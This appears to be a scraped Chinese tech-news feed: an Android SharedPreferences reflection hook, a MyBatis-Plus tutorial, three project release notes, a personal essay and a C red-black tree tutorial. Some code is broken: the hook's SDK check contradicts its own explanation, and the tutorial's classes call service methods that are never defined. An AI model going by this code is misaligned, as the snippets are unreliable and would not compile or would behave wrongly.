public static void addFinisher(Runnable finisher) {
 synchronized (sLock) {
   sFinishers.add(finisher);
 }
}

这里就是把Runnable存在一个List里,

  1. enqueueDiskWrite传入的Runnable
private void enqueueDiskWrite(final MemoryCommitResult mcr,final Runnable postWriteRunnable) {
  final boolean isFromSyncCommit = (postWriteRunnable == null);
  final Runnable writeToDiskRunnable = new Runnable() {
    @Override
    public void run() {
      synchronized (mWritingToDiskLock) {
        writeToFile(mcr, isFromSyncCommit);
      }
      synchronized (mLock) {
        mDiskWritesInFlight--;
      }
      if (postWriteRunnable != null) {
        postWriteRunnable.run();
      }
    }
  };
  if (isFromSyncCommit) {
    // 当前线程执行runable
    // ... ignore
    return
  }
  QueuedWork.queue(writeToDiskRunnable, !isFromSyncCommit);
}

可以看到写入本地文件的任务也是提交到QueuedWork执行的:

public static void queue(Runnable work, boolean shouldDelay) {
  Handler handler = getHandler();
  synchronized (sLock) {
    sWork.add(work);
    if (shouldDelay && sCanDelay) {
      handler.sendEmptyMessageDelayed(QueuedWorkHandler.`, DELAY);
    } else {
      handler.sendEmptyMessage(QueuedWorkHandler.MSG_RUN);
    }
  }
}

QueuedWork里面用swork保存任务,然后在HandlerThread里通过消息触发执行:

// QueuedWorkHandler
public void handleMessage(Message msg) {
  if (msg.what == MSG_RUN) {
    processPendingWork();
  }
}

private static void processPendingWork() {
  synchronized (sProcessingWork) {
    LinkedList<Runnable> work;

    synchronized (sLock) {
      work = sWork;
      sWork = new LinkedList<>();
      handlerRemoveMessages(QueuedWorkHandler.MSG_RUN);
    }

    if (work.size() > 0) {
      for (Runnable w : work) {
        w.run();
      }
    }
  }
}

在ActivityThread 里,处理Activity pause、stop的时候也会执行waitToFinish:

// ActivityThread
@Override
public void handleStopActivity(
  ActivityClientRecord r, 
  int configChanges,
  PendingTransactionActions pendingActions, 
  boolean finalStateRequest, 
  String reason
) {
  // ...
  if (!r.isPreHoneycomb()) {
    QueuedWork.waitToFinish();
  }
  // ...
}

waitToFinish 会执行 sFinishers 里面的Runnable:

public static void waitToFinish() {
  // ...
  processPendingWork();
  while (true) {
    Runnable finisher;
    synchronized (sLock) {
      finisher = sFinishers.poll();
    }
    if (finisher == null) {
      break;
    }
    finisher.run();
  }
  // ...
}

我们把apply流程画一下:

这里能发现2个问题:

  • 主线程会在页面退出前阻塞等待sp完成,造成block等待,甚至造成anr。
  • 主线程退出之前会直接去主线程执行sp,主线程io,anr风险更大了。

sp如此设计的原因分析一下应该是:

  • 保证页面关闭前sp写入完成
  • 页面关闭前拿到主线程来执行,提高优先级,能更大概率完成

解决思路

正向思路

从流程分析我们可以知道,Activity stop阻塞太久导致anr,本质还是因为sp操作太慢了,大概率是你写入的内容太多。比较正向的思路是简化你的数据存储。如果比价复杂的缓存数据,可以考虑存到数据库,而不是一股脑往sp写。

篡改思路

现实情况下sp读写的地方比较多,本地存储配置、标记等也不是业务重点,花费大量时间去简化治理得不偿失,还容易引入新问题,所以可以考虑通过反射篡改一下,思路如下:

  • 我们可以不要阻塞等待完成的逻辑,讲道理其实也没有什么很强烈的需求说一定要等待保证页面结束之前sp写入完成。(修改sFinishers字段,保证每次获取都是空列表)
  • 主线程会调用processPendingWork,遍历执行sWork里的Runnable(修改sWork字段,让每次执行的时候在子线程启动)

如何修改?

  1. sFinishers 替换成一个我们自己的 LinkedList,重写poll返回null:
class ProxyFinishList(private val finishs:LinkedList<Runnable>):LinkedList<Runnable>() {
  override fun poll(): Runnable? {
    return null
  }

  override fun add(element: Runnable): Boolean {
    return finishs.add(element)
  }

  override fun remove(): Runnable {
      return finishs.remove()
  }

  override fun isEmpty(): Boolean {
      return true
  }
}
  1. sWork是hide api,你需要找一个支持反射hide api的框架来支持一下。也替换为一个我们自己定义的LinkedList,这里有个问题,在android12之前,执行sWork的时候是clone一个新的:

在android12之后是直接赋值一个新对象:

所以hook策略上我们要区别一下,Android12以上在调用size的时候我们重新hook下,在调用size()的时候去触发启动任务:

class WorkProxyList(private val wrapper:LinkedList<Runnable>,private val handler:Handler,private val reHook:()->Unit):LinkedList<Runnable>() {
  override fun isEmpty(): Boolean {
    return wrapper.isEmpty()
  }

  override fun add(element: Runnable): Boolean {
    return wrapper.add(WorkRunnableProxy(handler,element))
  }

  override fun remove(element: Runnable): Boolean {
    return wrapper.remove(element)
  }

  override val size: Int
    get() {
      if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O && Build.VERSION.SDK_INT < Build.VERSION_CODES.S) {
        runWorks()
        reHook()
        return 0;
      } else {
        return wrapper.size
      }
    }

  override fun clone(): Any {
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O && Build.VERSION.SDK_INT < Build.VERSION_CODES.S) {
      runWorks()
      return WorkProxyList(LinkedList(), handler, reHook)
    } else{
      return wrapper.clone()
    }
  }

  private fun runWorks() {
    if (wrapper.size==0) {
      return
    }
    val works:LinkedList<Runnable> = wrapper.clone() as LinkedList<Runnable>
    wrapper.clear()
    handler.post {
      works.forEach { it.run() }
    }
  }
}

by 半行代码 at January 19, 2025 01:27 AM

juejin backend

Mybatis——Mybatis-plus开发步骤实战

摘要

MyBatis-Plus 是一个 MyBatis 的增强工具,在 MyBatis 的基础上只做增强不做改变,为简化开发、提高效率而生。本文主要介绍了MyBatis-Plus的开发步骤。首先添加MyBatis-Plus依赖,包括相关版本的配置。接着依次进行领域Domain模型设计、创建Java实体类、配置数据库连接、创建Mapper接口类、service类、Application类和Controller类等。最后提供RPC调用接口,并进行JPA接口测试及Springboot启动服务,文末附有参考代码。

画板

添加Mybatis-plus依赖

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.zhuangxiaoyan</groupId>
    <artifactId>springboot_jpa</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>springboot_jpa</name>
    <description>springboot_jpa</description>

    <properties>
        <java.version>1.8</java.version>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
        <spring-boot.version>2.6.13</spring-boot.version>
        <mysql-connector-verison>5.1.49</mysql-connector-verison>
        <lombok-version>1.18.30</lombok-version>
        <mybatis-plus-version>3.5.10.1</mybatis-plus-version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-data-jpa</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-jdbc</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <!-- MyBatis-plus 依赖 -->
        <dependency>
            <groupId>com.baomidou</groupId>
            <artifactId>mybatis-plus-boot-starter</artifactId>
            <version>${mybatis-plus-version}</version>
        </dependency>

        <!--MySQL JDBC依赖,用来连接数据库-->
        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>${mysql-connector-verison}</version>
        </dependency>

        <!-- Lombok注解 -->
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <version>${lombok-version}</version>
            <scope>provided</scope>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
            <exclusions>
                <exclusion>
                    <groupId>org.junit.vintage</groupId>
                    <artifactId>junit-vintage-engine</artifactId>
                </exclusion>
            </exclusions>
        </dependency>
    </dependencies>

    <dependencyManagement>
        <dependencies>
            <dependency>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-dependencies</artifactId>
                <version>${spring-boot.version}</version>
                <type>pom</type>
                <scope>import</scope>
            </dependency>
        </dependencies>
    </dependencyManagement>

    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.8.1</version>
                <configuration>
                    <source>1.8</source>
                    <target>1.8</target>
                    <encoding>UTF-8</encoding>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
                <version>${spring-boot.version}</version>
                <configuration>
                    <mainClass>com.zhuangxiaoyan.springboot.jpa.SpringbootJpaApplication</mainClass>
                    <skip>true</skip>
                </configuration>
                <executions>
                    <execution>
                        <id>repackage</id>
                        <goals>
                            <goal>repackage</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>

</project>

领域Domain模型设计

画板

-- springboot_jpa.`user` definition

CREATE TABLE `user` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键',
  `email` varchar(100) NOT NULL,
  `name` varchar(100) NOT NULL,
  `gmt_create` datetime DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
  `gmt_modify` datetime DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '修改时间',
  PRIMARY KEY (`id`),
  UNIQUE KEY `email` (`email`)
) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb4 COMMENT='user表';

创建Java实体类

package com.zhuangxiaoyan.springboot.jpa.domian.model;

import lombok.Data;
import lombok.EqualsAndHashCode;

import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.PrePersist;
import javax.persistence.PreUpdate;
import javax.persistence.Table;
import java.io.Serializable;
import java.time.LocalDateTime;

/**
 * User
 *
 * @author xjl
 * @version 2025/01/13 23:07
 **/
@Entity
@Table(name = "user")
@Data
@EqualsAndHashCode
public class User implements Serializable {

    private static final long serialVersionUID = 1L;

    @Id
    @GeneratedValue(strategy = GenerationType.AUTO)
    @Column(name = "id")
    private int id;

    @Column(nullable = false, unique = true)
    private String email;

    @Column(nullable = false)
    private String name;

    @Column(nullable = false)
    private LocalDateTime gmtCreate;

    @Column(nullable = false)
    private LocalDateTime gmtModify;

    // 在实体第一次持久化到数据库时(即插入时),设置 gmtCreate 和 gmtModify
    @PrePersist
    public void prePersist() {
        LocalDateTime now = LocalDateTime.now();
        if (gmtCreate == null) {
            gmtCreate = now;
        }
        if (gmtModify == null) {
            gmtModify = now;
        }
    }

    // 在实体每次更新时,更新 gmtModify
    @PreUpdate
    public void preUpdate() {
        gmtModify = LocalDateTime.now();
    }
}

配置数据库连接配置

application.propertiesapplication.yml 中配置数据源。

server:
  port: 8080                 # 设置应用程序运行端口
  servlet:
    context-path: /api       # 设置应用程序的上下文路径

spring:
  application:
    name: springboot-mybatis-app  # 设置 Spring Boot 应用程序的名称
  datasource:
    driver-class-name: com.mysql.jdbc.Driver   # MySQL数据库驱动
    url: jdbc:mysql://192.168.3.13:3306/springboot_jpa?useSSL=false&serverTimezone=UTC&characterEncoding=utf8&connectTimeout=10000&socketTimeout=10000  # 数据库连接URL
    username: root   # 数据库用户名
    password: root   # 数据库密码
    hikari:                   # 配置 Hikari 数据源连接池(Spring Boot 2 默认使用 HikariCP)
      minimum-idle: 5         # 最小空闲连接数
      maximum-pool-size: 10   # 最大连接池大小
      idle-timeout: 30000     # 空闲连接的最大生命周期(毫秒)
      connection-timeout: 30000  # 连接超时时间(毫秒)
      pool-name: HikariCP      # 连接池名称
  jackson:
    serialization:
      fail-on-empty-beans: false  # 禁用 Jackson 序列化空 JavaBean 错误
  thymeleaf:
    cache: false               # 开启/关闭 Thymeleaf 模板缓存
  messages:
    basename: messages         # 配置国际化消息文件路径(messages.properties)

logging:
  level:
    root: INFO                 # 设置根日志级别
    org.apache.ibatis: DEBUG   # 设置根mybatis的日志级别
    org.springframework.web: DEBUG  # 设置 Spring Web 的日志级别
    com.zhuangxiaoyan.springboot: DEBUG  # 设置自定义包的日志级别
  pattern:
    console: "%d{yyyy-MM-dd HH:mm:ss} - %msg%n"  # 设置日志输出格式

创建Mapper接口类

package com.zhuangxiaoyan.springboot.jpa.domian.repository;

import com.baomidou.mybatisplus.core.mapper.BaseMapper;
import com.zhuangxiaoyan.springboot.jpa.domian.model.User;

import java.util.Optional;

/**
 * UserMapper
 *
 * @author xjl
 * @version 2025/01/19 08:42
 **/
public interface UserMapper extends BaseMapper<User> {
    /**
     * 根据邮箱查询用户 自定义接口
     *
     * @param email
     * @return
     */
    Optional<User> findByEmail(String email);
}

创建service类

package com.zhuangxiaoyan.springboot.jpa.domian.service;

import com.zhuangxiaoyan.springboot.jpa.domian.model.User;
import com.zhuangxiaoyan.springboot.jpa.domian.repository.UserMapper;
import com.zhuangxiaoyan.springboot.jpa.domian.repository.UserRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

import java.util.List;
import java.util.Optional;

/**
 * UserDomainService
 *
 * @author xjl
 * @version 2025/01/13 23:12
 **/
@Service
public class UserService {

    @Autowired
    private UserMapper userMapper;

    /**
     * 根据用户名查询用户
     * @return
     */
    public List<User> getAllUsersByUserMapper() {
        return userMapper.selectList(null);
    }


    /**
     * 根据 ID 查询用户
     *
     * @param id
     * @return
     */
    public Optional<User> getUserByUserMapper(int id) {
        return Optional.ofNullable(userMapper.selectById(id));
    }

    /**
     * 判断邮箱是否唯一
     *
     * @param email
     * @return
     */
    public boolean isEmailUniqueByUserMapper(String email) {
        return userMapper.findByEmail(email).isPresent();
    }

}

创建Application类

package com.zhuangxiaoyan.springboot.jpa.application;

import com.zhuangxiaoyan.springboot.jpa.domian.model.User;
import com.zhuangxiaoyan.springboot.jpa.domian.service.UserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

import java.util.List;

/**
 * UserApplication
 *
 * @author xjl
 * @version 2025/01/13 23:44
 **/
@Service
public class UserManagerApplication {

    @Autowired
    private UserService userService;

    /**
     * 这一层主要是业务层,相关处理逻辑
     */
    public List<User> getUserAll() {
        return userService.getAllUsers();
    }
}

创建Controller类

package com.zhuangxiaoyan.springboot.jpa.interfaces.controller;

import com.zhuangxiaoyan.springboot.jpa.domian.model.User;
import com.zhuangxiaoyan.springboot.jpa.domian.service.UserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import java.util.List;

/**
 * UserController
 *
 * @author xjl
 * @version 2025/01/13 23:27
 **/
@RestController
@RequestMapping("/users")
public class UserManagerController {

    @Autowired
    private UserService userService;

    // 创建用户
    @PostMapping
    public ResponseEntity<User> createUser(@RequestBody User user) {
        User createdUser = userService.createUser(user);
        return ResponseEntity.ok(createdUser);
    }

    // 获取所有用户
    @GetMapping
    public ResponseEntity<List<User>> getAllUsers() {
        List<User> users = userService.getAllUsers();
        return ResponseEntity.ok(users);
    }

    // 根据 ID 获取用户
    @GetMapping("/{id}")
    public ResponseEntity<User> getUserById(@PathVariable int id) {
        return userService.getUserById(id)
                .map(ResponseEntity::ok)
                .orElse(ResponseEntity.notFound().build());
    }

    // 更新用户
    @PutMapping("/{id}")
    public ResponseEntity<User> updateUser(@PathVariable int id, @RequestBody User user) {
        User updatedUser = userService.updateUser(id, user);
        return ResponseEntity.ok(updatedUser);
    }

    // 删除用户
    @DeleteMapping("/{id}")
    public ResponseEntity<Void> deleteUser(@PathVariable int id) {
        userService.deleteUser(id);
        return ResponseEntity.noContent().build();
    }
}

提供RPC调用接口

package com.zhuangxiaoyan.springboot.jpa.interfaces.facade;

/**
 * UserManagerFacade 提供远程调用GRPC 服务
 *
 * @author xjl
 * @version 2025/01/13 23:01
 **/
public interface UserManagerFacade {

}

JPA接口测试

package com.zhuangxiaoyan.springboot.jpa.application;

import com.baomidou.mybatisplus.core.toolkit.Assert;
import com.zhuangxiaoyan.springboot.jpa.SpringbootJpaApplication;
import com.zhuangxiaoyan.springboot.jpa.domian.model.User;
import com.zhuangxiaoyan.springboot.jpa.domian.repository.UserMapper;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;

import java.util.List;

/**
 * UserMangerApplicationTest 测试类
 *
 * @author xjl
 * @version 2025/01/14 08:54
 **/

@SpringBootTest(classes = SpringbootJpaApplication.class)
public class UserMangerApplicationTest {

    @Autowired
    private UserMapper userMapper;


    @Test
    public void testSelect() {
        System.out.println(("----- selectAll method test ------"));
        List<User> userList = userMapper.selectList(null);
        Assert.isTrue(2 == userList.size(), "数量不对");
        userList.forEach(System.out::println);
    }
}

Springboot启动服务

注意添加注解 @MapperScan("com.zhuangxiaoyan.springboot.jpa.domian.repository")

package com.zhuangxiaoyan.springboot.jpa;

import org.mybatis.spring.annotation.MapperScan;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
@MapperScan("com.zhuangxiaoyan.springboot.jpa.domian.repository")
public class SpringbootJpaApplication {

    public static void main(String[] args) {
        SpringApplication.run(SpringbootJpaApplication.class, args);
    }

}

参考代码

gitee.com/xjl24626125…

博文参考

by 庄小焱 at January 19, 2025 01:25 AM

January 18, 2025

oschina news project

微语 0.5.8 发布,企业级多租户即时通讯解决方案

介绍

企业IM

  • 局域网即时通讯
  • 企业成员管理
  • 聊天记录监控
  • ...

全渠道客服

  • 多渠道接入
  • 人工客服
  • 统计报表
  • ...

知识库AI对话

  • 对接大模型LLM
  • 自定义知识库
  • 多轮对话
  • ...

工单系统

  • 工单管理
  • 工单SLA管理
  • 工单统计和报表
  • ...

Docker 快速开始

克隆项目并启动docker compose容器

git clone https://github.com/Bytedesk/bytedesk.git && cd bytedesk/deploy/docker && docker compose -p bytedesk -f docker-compose.yaml up -d
 

停止容器

docker compose -p bytedesk -f docker-compose.yaml stop
 

演示

http://127.0.0.1:9003/dev
 

对话SDK

Project Description Forks Stars
iOS iOS GitHub forks GitHub Repo stars
Android Android GitHub forks GitHub Repo stars
Flutter Flutter GitHub forks GitHub Repo stars
UniApp Uniapp GitHub forks GitHub Repo stars
Web Web GitHub forks GitHub Repo stars

链接

技术栈

by 来源: 投稿 at January 18, 2025 11:19 PM

ThingsPanel 1.1.4 更新发布,设备模板与设备模型

ThingsPanel1.1.4的一个重大改变就是设备配置模板、设备功能模板的更名,之前的设备配置模板和功能模板过于技术化,通过这次更名,ThingsPanel将更容易理解。

设备配置模板 -> 设备模板(一个物理设备所对应的一切)

设备功能模板 -> 设备模型(物模型和图表)

新增功能

  • 增加prometheus集成,新增系统监控看板
  • 增加代码静态分析工具deepsource,修复扫描发现的严重缺陷
  • 新增上次访问时间字段
  • 增加标准化API响应格式框架,完善了API国际化支持框架
  • 支持手机号登录
  • 增加租户注销接口
  • App增加邮箱注册和注销功能

优化和修复

  • 设备配置模板更名为设备模板,设备功能模板更名为设备模型
  • 优化设备心跳监测性能,修复相关bug
  • 修复MQTT断线重连问题,提升连接稳定性
  • 修复遥测历史数据非聚合查询时间限制问题
  • 优化聚合查询的时间范围校验逻辑
  • Redis升级到v9版本,提升性能和安全性
  • 修复设备列表中设备编号筛选的bug
  • 优化功能模板删除逻辑,增加配置模板关联校验
  • 修复邮件发送相关安全漏洞
  • 修复文件操作相关安全漏洞
  • 扩展支持的安全文件上传类型
  • 遥测数据统计数值超过四位导致报错问题修复
  • 注销租户异常修复
  • 删除场景联动异常修复
  • 修改子设备地址未通知协议插件问题修复
  • 定时任务扫描间隔调整为5秒
  • 遥测历史数据查询接口增加分页
  • 遥测数据统计返回数据位数过大报错问题修复
  • 修复设备详情页布尔值显示在历史数据中
  • 优化英文翻译
  • 改善列表显示问题

by 来源: 投稿 at January 18, 2025 11:13 PM

juejin career

2024年度PBC考评,“怼”得我无言以对!

一如既往,年度PBC自评很伤脑筋,既要实事求是讲业绩,又要正确运用夸张手法、数字将其表现出来,体现出应有的高度和水平。最后,自评和实际考评结果之间还可能存在巨大鸿沟,不尽人意。

舞台上的木偶戏:当你以为在跳舞,其实是被牵线。

有没有这种感觉?

1. 综评结果

综评结果B

综评评价:没有带来经济效益,产生直接价值。

老实说,结果和预期有一光年的差距。

搞好PBC的关键:个人目标要和领导目标、组织目标对齐,要从领导的视野看问题,解决问题。

pbc.jpg

没错,就是在这家“不上班无限公司”,自从2023年9月失业后就开始了一段新的“工作经历”。

2. PBC详情

2.1 健康

自评:A

自评内容:一年多来坚持每周锻炼3次,共计上课277节,体重减轻18斤,在健康型/运动型身材徘徊,体能,心肺,精力,身体协调性等方面大大提高。

2.jpg

大当家综评:B

评语:戒烟不彻底,偶尔还会熬夜,不能早睡早起,影响身体健康。

自述

相信很多人都有戒烟经历,会复吸的也不少,我现在平时几乎不抽烟,只有回老家见朋友,去亲戚家的时候会抽,这种时候比较放松,抽烟就是联络下感情,极少有自己很想抽烟的时候。

不抽烟主要还是从健康考虑,上了年纪的人,会发现人生剩下的时间越来越少,想多活点日子,就要注意健康,而这种想法在年轻的时候是基本不会有的,年轻有挥霍的资本。

IT行业这么多年,加班已经习惯了,要早睡确实不容易,有的时候想早睡,但睡不着,睡不着半夜就爬起来听音乐,看书,时间长了,慢慢就想放弃,但这是一个好习惯,还是需要培养起来。

坚持锻炼的好处显而易见,精力好,不容易生病,心态变得更乐观,现在我回老家一口气跑上8楼不是问题(无电梯)。

2.2 读书

自评:A

自评内容:研读多部经典著作,撰写了高质量读书笔记,将知识有效转化,提升了素养、思维与解决问题能力。

读书2.jpg

大当家综评:B

评语:不能挣钱都没用

详述

以前看书基本都是工作相关,架构、技术之类,现在开始看小说和成长类的书籍,小说一般在等待时的碎片时间、旅途中看。

小说实际也是一种经历,思想上的经历,人到世间一场,不管苦与乐,就是来经历的,而通过小说获取人生经历这个成本极低。

2.3 教育

自评:A

自评内容:积极学习教育知识,一改严苛风格,给予孩子更多自主权和鼓励,少说教多做事,有较明显效果。

教育2.jpg

大当家综评:B+

评语:确有改善,教育理念不合时过于认真。

详述

关于孩子的教育,很多家长因为工作忙会不够重视,孩子成长过程中最好的教育是陪伴、以身作则,而且越小开始越好,孩子大了,再想塑造非常难。

不少家长喜欢鸡娃,要求成绩在班级、年级有排名;要求晚自习回家再背背英语单词;要求参加各种竞赛班,辅导班;还觉得现在提供这么好的教育机会,吃好的,穿好的,玩好的,为啥孩子不懂事、不努力、不自律。

但这么想的家长,在单位有排名,加班回家还学习,足够自律的有多少? 如果自己不能做榜样,孩子不能听话照做也正常。

当你的孩子上了初中,高中,还愿意主动跟你说话,你提的建议,活动安排他都能采纳,说明亲子关系还不错。如果疏于陪伴,仅有的时间在一起时又喜欢说教孩子,那么会导致大多时候孩子都不愿意跟你交流,而且尽管你说的东西是对的,他也可能不会客观对待。

另外,只要你制定了教育、陪伴孩子的目标,工作再忙,也肯定会找到时间,忙只是个借口,再忙也有时间去应酬、刷视频、闲聊,就看你想把时间花在哪。

2.4 家庭

自评:A

自评内容:听从命令,服从指挥;积极做家务,做饭、拿快递、接送孩子上学;注重维护家庭和谐氛围。

大当家综评:B

评语:油烟机擦不干净,洗碗后经常忘记拖地,不分日子手机飞行模式睡懒觉,耽误收大当家快递。

详述

以前工作忙,家务都是我老婆承担,现在因为加入“不工作无限公司”,开始承担家务,只要有空,老婆安排的事情必须使命必达。

去年最大的收获之一是学会了做菜,这个“会”的意思是菜品多了,而且还挺好吃,儿子,我妈都喜欢吃。

家庭中,能心平气和沟通,主动帮对方做事,积极响应,氛围一定挺不错。

“不工作无限公司”有个好处是:不用半夜接到电话爬起来赶到公司了,为了避免营销电话骚扰,现在睡觉一律飞行模式,不过WIFI还连着,这样有急事,家人通过微信能找到。

2.5 工作

自评:A

自评内容:积极探索自由职业,参加11次航海活动,总结不少自由职业经验,提升认知,掌握视频剪辑,RPA等专业技能。

大当家综评:B

评语:虽然积极尝试自由职业,但没搞到一分钱,还索要买菜钱,加油费,大白天开空调浪费电。

2.5.1 第一次尝试

离职后开始探索自由职业,一开始搞了个IT技术类的个人站:www.kengcoder.com ,准备做知识付费,也做了不少同行分析,后来觉得需要构建的资产太多,比如各种实战项目代码要花很多时间和精力,同时慢慢觉得不太可能搞一辈子IT行业,就想转行。

image.png

2.5.2 第二次尝试

然后看到有人卖课,个人成长类的时间管理卖几百,什么商业闭环课卖1500,一个大二的学生,边学边卖,还卖出去了,我就开始做自己的产品,最后成功卖出,盈利高达9.9元。

产品:scna009lhdro.feishu.cn/docx/CNLcdo…

image.png

2.5.3 第N次尝试

除此之外,这期间参加了各类自由职业的活动,各种引流群,加了不少所谓的大咖微信,围观他们朋友圈看他们怎么引流。

image.png

不过都限于尝试,还没变现。

3. 小结

总的来说,离职这一年还是有不少收获,除了健康、教育、家庭、自我成长之外,自由职业说好听点,就当试错了。

另外也没有之前工作上的那种压力,有时工作压力大到天天想辞职。特别是刚离职前几个月,感觉很惬意,想干啥干啥,对自由职业赚钱也充满信心,相当积极。

后来慢慢就开始有压力,因为一直没有变现,只有支出,家庭各种开支不少。有人会觉得没收入就少花点,但很多是硬性支出,比如孩子教育成本,房贷(提到房贷,不少人也亏麻了吧)没法少。

目前开始找工作,有家公司HR已经面过,等下轮技术面。

最后,在职的朋友们,你们年度考评也开始了吧,什么感觉,说来听听!

by 铿然架构 at January 18, 2025 07:28 PM

oschina news project

ProxyPin v1.1.7 发布,全平台 HTTP 抓包工具

ProxyPin v1.1.7 已经发布,全平台 HTTP 抓包工具。

此版本更新内容包括:

iOS App Store:https://apps.apple.com/app/proxypin/id6450932949

iOS在中国App Store已经上架

QQ群交流: https://qm.qq.com/q/nhBOnQtmF4

证书安装流程介绍:https://www.bilibili.com/video/BV1Qm4y157Gk/

V1.1.7

  1. 新增socks5代理支持, 可在设置中关闭;
  2. 请求列表增加按时间排序;
  3. 响应新增图片保存;
  4. 请求重写新增json格式化;
  5. 修复安卓首次在画中画开启VPN闪退;
  6. 修复Illegal IPv6 address问题;
  7. 修复Windows历史导入安卓har历史文件崩溃问题;
  8. 修复复制python请求头不全问题;
  9. 修复二维码保存的背景颜色问题;

详情查看:https://gitee.com/wanghongenpin/proxypin/releases/v1.1.7

by 来源: 投稿 at January 18, 2025 06:18 PM

juejin article

【算法导论】征服红黑树(后篇)

在上一篇文章我们已经理解了实现红黑树所需的理论知识。在本篇文章中,我将给出C语言版本的通用红黑树的具体实现思路。

你也可以在我的GitHub上下载到完整的代码:github.com/WU-SUNFLOWE…

实现基本的红黑树

编写头文件rb-tree.h

首先我们需要定义红黑树节点的结构体:

typedef enum { kBlack, kRed } Color;

typedef struct RbNode {
    Color color;
    struct RbNode* parent;
    struct RbNode* left;
    struct RbNode* right;
} RbNode;

你可能会注意到非常奇怪的一个地方:与一般的数据结构教材不同,为什么我们这里定义的红黑树节点只有指针域和颜色域,却没有数据域?

这是因为当我们在实际项目中应用红黑树时,具体的数据域可能是五花八门的。如果在这里将数据域的结构写死,将会大大打击我们的红黑树实现的可复用性。这里我们先暂且搁置这个问题,等到后面我将会介绍一种Linux内核源码中常用的技巧,利用它我们就可以将我们的红黑树实现运用到任何你想运用的地方。

接下来,为了在代码中能够更加清晰地对红黑树的根节点进行表示和管理,我们定义一个RbRoot结构体,其中仅有一个RbNode*指针,指向实际的根节点。

typedef struct RbRoot {
    RbNode* rb_node;
} RbRoot;

#define InitializedRbRoot { NULL, }

// 当我们希望在程序中创建一棵新的红黑树时,我们可以这么做:
// RbRoot root = InitializedRbRoot;

然后我们定义一系列用于管理红黑树的函数。如下所示,大部分函数的功能都是非常好理解的。唯独我需要说明的有这几点。

首先是一个C/C++开发常识。代码中的extern "C"用于处理C和C++代码混合编译时,链接器无法链接函数符号的问题。具体可参考这个视频

此外,你可能会注意到InsertIntoRbTree函数的定义十分奇怪。这是因为红黑树的本质仍然是一种二分查找树,当我们在实际项目中应用红黑树时,具体的二分规则同样也是五花八门的,因此插入新节点(以及搜索某个节点)的实现不适合写死在我们的通用红黑树的代码当中。

取而代之的是,我们希望程序员在使用通用红黑树时,能够自己编写代码,以确定将新的节点插入为哪个(原先的)叶子节点(parent)的左孩子(parent_link = &parent->left)亦或是右孩子(parent_link = &parent->right),并调用通用红黑树的InsertIntoRbTree函数实现真正的插入和平衡性调整。

如果你听了我的解释还不是很明白,也不用着急。后面我会给出具体的例子。

#ifdef __cplusplus
extern "C" {
#endif

    /* Small utils */
    inline void SetColor(RbNode* node, Color color) {
        node->color = color;
    }

    inline bool IsRed(RbNode* node) {
        return node != NULL && node->color == kRed;
    }

    inline bool IsBlack(RbNode* node) {
        return node == NULL || node->color == kBlack;
    }

    inline bool IsEmptyRbRoot(RbRoot* root) {
        return root->rb_node == NULL;
    }

    inline void Transplant(RbNode* old_node, RbNode* new_node, RbRoot* root);  // Same with CLRS

    /* Rotation function. */
    inline void RotateLeft(RbNode* x, RbRoot* root);

    inline void RotateRight(RbNode* x, RbRoot* root);

    /* Insert implementation */
    void FixupAfterInsert(RbNode* node, RbRoot* root);

    void InsertIntoRbTree(RbNode* node, RbNode* parent, RbNode** parent_link, RbRoot* root);

    /* Remove implementation */
    void FixupAfterRemove(RbNode* node, RbNode* node_parent, RbRoot* root);

    void RemoveFromRbTree(RbNode* node, RbRoot* root);

#ifdef __cplusplus
}
#endif

编写代码文件rb-tree.c

